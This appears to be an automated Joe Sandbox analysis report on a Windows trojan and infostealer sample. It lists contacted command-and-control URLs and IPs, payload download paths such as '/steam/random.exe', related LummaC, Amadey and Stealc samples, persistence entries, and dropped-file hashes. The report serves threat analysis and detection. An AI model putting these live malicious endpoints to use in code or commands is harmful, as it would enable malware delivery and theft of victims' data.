http://185.215.113.206/c4becf79229cb002.phpu	62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pih	99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://specs.openid.net/auth/2.0	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://185.215.113.16/steam/random.exe61395dd	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	8WRONDszv4.exe, 00000000.00000003.2230748474.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exed	8WRONDszv4.exe, 00000000.00000003.2443743991.0000000001694000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeO	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://axschema.org/3http://schema.openid.net/3http://openid.net/schema/	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false	Avira URL Cloud: safe	unknown
http://schemas.openid.net/pape/policies/2007/06/none	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	8WRONDszv4.exe, 00000000.00000003.2231750951.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe24080001	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/aOcN/	2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.mozilla.or	8WRONDszv4.exe, 00000000.00000003.2231667935.0000000005E35000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeT	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rapeflowwj.lat/api	2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe4080001	skotes.exe, 00000008.00000002.3385482616.00000000009A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://namespace.google.com/openid/xmlns	2d537c36c0.exe, 0000000A.00000002.3266454164.0000000004219000.00000004.00000800.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000000.3253805061.0000000000C22000.00000002.00000001.01000000.0000000C.sdmp, random[1].exe.8.dr, 2d537c36c0.exe.8.dr	false		high
http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf	2d537c36c0.exe.8.dr	false		high
https://mindhandru.buzz:443/apical	8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2256312465.0000000001613000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581227
Start date and time:	2024-12-27 08:49:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8WRONDszv4.exe renamed because original name is a hash value
Original Sample Name:	06473103f0ce27b3600328c027b7ac83.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16/9@10/6
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 62G762VR710L4VXE3U82EH4WFUFY.exe, PID 2976 because there are no executed function
Execution Graph export aborted for target 8WRONDszv4.exe, PID 2320 because there are no executed function
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:50:24	API Interceptor	47x Sleep call for process: 8WRONDszv4.exe modified
02:52:01	API Interceptor	221x Sleep call for process: skotes.exe modified
02:52:14	API Interceptor	8x Sleep call for process: 2d537c36c0.exe modified
02:52:25	API Interceptor	1x Sleep call for process: 99468ec718.exe modified
08:51:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
08:52:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 99468ec718.exe C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.206	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ZBbOXn0a3R.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/68b591d6548ec281/softokn3.dll

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
steamcommunity.com	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	RUUSfr6dVm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9idglWFv95.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tJd3ArrDAm.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	gdtJGo7jH3.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	oQSTpQfzz5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	rkPR0Fo9Cb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	35jPLNPb3r.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	23.209.72.25
	installer.bat	Get hash	malicious	Vidar	Browse	23.209.72.7
	skript.bat	Get hash	malicious	Vidar	Browse	2.16.158.83
	din.exe	Get hash	malicious	Vidar	Browse	23.44.201.32
	lem.exe	Get hash	malicious	Vidar	Browse	23.209.72.40
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	AiaStwRBdI.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	HJVzgKyC0y.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	rUfr2hQGOb.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
WHOLESALECONNECTIONSNL	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	8lOT1rXZp5.exe	Get hash	malicious	RedLine	Browse	104.21.11.101

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2d537c36c0.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895424
Entropy (8bit):	7.950048534542098
Encrypted:	false
SSDEEP:	49152:Ew39Ye1wt9Hn8rtyOR7lImpocBG98+qlr:dPYHnBORhZpocBG9xqlr
MD5:	C63D467232A6D3A2F8DBB8E002650A84
SHA1:	5E6B7A9A985D1014818B4793C8F7E7AD366CBB3A
SHA-256:	A9D7A67E3FEC6B0C11EFD2FE9864F1559F2555F121D2AEDB3144F5E99BA9B571
SHA-512:	66F5C069EB1239EBEB146AC798C05D994EA353398E699EE76D3251ADECD5D635F55F206F2EAF75AAC7C355F855B08D4A42044A943F44AA009735AAD41FE3C561
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................K...........@..........................@K.....^.....@.................................Y@..m....0.......................A...................................................................................... . . .......d..................@....rsrc........0.......t..............@....idata .....@.......v..............@... .`+..P.......x..............@...ddxegoij.P....0..L...z..............@...tcrohkzx......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995776
Entropy (8bit):	7.577883288243697
Encrypted:	false
SSDEEP:	49152:hVV5d9oUzDeXbUWYn539peVt5WA9M0XSexbUXM+OBF:fDX/zaXbUXn5OcAS0Xxxb
MD5:	3B6A8C673CDBE5C6944E92E7DE9F75CF
SHA1:	9B5F929487E34F165B823FFCEA633EE5DCC2F4C9
SHA-256:	FC30BAE1017793F98E10AF88272F516DAB229BAFE33DFA6B960B41FF3D141FD7
SHA-512:	34E0D737BD1BB3048F2FC15C47EE3A835F2EF0F3E70F0C0EB96A93E881FD481222B1B5E1114EE86FF83DE10A854DCFD54ED0DE1E1FB26EDD0F4DC7F068423895
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....:...............P................. ........@.. ....................................@.....................................K...................................9................................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc...............r..............@..B........................H.......H....8..............U...........................................6+.(..1`(......:+.(wGDY.(.............(...........................(......0..........(.... ........8........E....!...<...f.......8....s......... .....9....&8....s......... .....9....&8....s......... .....9....&8....s.........8....s.........8........0..............0..............0..............0..............0............................0..............0.....................0.............

C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995776
Entropy (8bit):	7.577883288243697
Encrypted:	false
SSDEEP:	49152:hVV5d9oUzDeXbUWYn539peVt5WA9M0XSexbUXM+OBF:fDX/zaXbUXn5OcAS0Xxxb
MD5:	3B6A8C673CDBE5C6944E92E7DE9F75CF
SHA1:	9B5F929487E34F165B823FFCEA633EE5DCC2F4C9
SHA-256:	FC30BAE1017793F98E10AF88272F516DAB229BAFE33DFA6B960B41FF3D141FD7
SHA-512:	34E0D737BD1BB3048F2FC15C47EE3A835F2EF0F3E70F0C0EB96A93E881FD481222B1B5E1114EE86FF83DE10A854DCFD54ED0DE1E1FB26EDD0F4DC7F068423895
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....:...............P................. ........@.. ....................................@.....................................K...................................9................................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc...............r..............@..B........................H.......H....8..............U...........................................6+.(..1`(......:+.(wGDY.(.............(...........................(......0..........(.... ........8........E....!...<...f.......8....s......... .....9....&8....s......... .....9....&8....s......... .....9....&8....s.........8....s.........8........0..............0..............0..............0..............0............................0..............0.....................0.............

C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895424
Entropy (8bit):	7.950048534542098
Encrypted:	false
SSDEEP:	49152:Ew39Ye1wt9Hn8rtyOR7lImpocBG98+qlr:dPYHnBORhZpocBG9xqlr
MD5:	C63D467232A6D3A2F8DBB8E002650A84
SHA1:	5E6B7A9A985D1014818B4793C8F7E7AD366CBB3A
SHA-256:	A9D7A67E3FEC6B0C11EFD2FE9864F1559F2555F121D2AEDB3144F5E99BA9B571
SHA-512:	66F5C069EB1239EBEB146AC798C05D994EA353398E699EE76D3251ADECD5D635F55F206F2EAF75AAC7C355F855B08D4A42044A943F44AA009735AAD41FE3C561
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................K...........@..........................@K.....^.....@.................................Y@..m....0.......................A...................................................................................... . . .......d..................@....rsrc........0.......t..............@....idata .....@.......v..............@... .`+..P.......x..............@...ddxegoij.P....0..L...z..............@...tcrohkzx......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe

Download File

Process:	C:\Users\user\Desktop\8WRONDszv4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	5.580961603443907
Encrypted:	false
SSDEEP:	98304:wYP8Zc0iQNurF33SihYA66Y2hiUgRR3qTWWSgjE:wYP8Zc0iQNurF3Iyg+W
MD5:	17D940E3012D0A3589F9DCB08CB8AACB
SHA1:	C173FB724ED8484C8E369FA75FE55C583652CA0B
SHA-256:	A8BB33F2E7863A4F50AF391645B42E1C401D58B91C017104215D222EEF02AD70
SHA-512:	A3FD59B9B53B966401BA000A1FBE8EEF6C964420BBC123BB32B525E8C5D34199F217C62E28C14A8A1B981688FC88DCF4C13CF03EE2E02DA7AA5DFAEFACE93569
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: Idau8QuYa3.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........P...........@..........................@P.....t.P...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...frhnetpr.@+...$..4+...$.............@...tbiteucn......P.......O.............@....taggant.0....P.."....O.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

Download File

Process:	C:\Users\user\Desktop\8WRONDszv4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
SSDEEP:	98304:3unGIFk3h+DxvVpuOAxe500ZZCw0IRyP6o:36GIFikLuOH20fF0I4
MD5:	0A0F11159921131E89D2E3203E99B1F6
SHA1:	661586D8FAE5358589A35C336DFB4114116E3264
SHA-256:	69EA228FAD500972C7022F828D8CE864E841C10C79538FBF9188E2CFD1203098
SHA-512:	F14041F126807284126F6EADE0EBBBCACDF04A46521FBD4C6F7BB9579882157CA11130DFBB13FB189D8A20A6488CC9D1D2C3E14675DCB0838E328876965A60F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......72...@.................................W...k............................e1.............................0e1..................................................... . ............................@....rsrc...............................@....idata ............................@...guulvnfq..........................@...wreswaoh.....p1......N1.............@....taggant.0....1.."...T1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3241472
Entropy (8bit):	6.65959495968574
Encrypted:	false
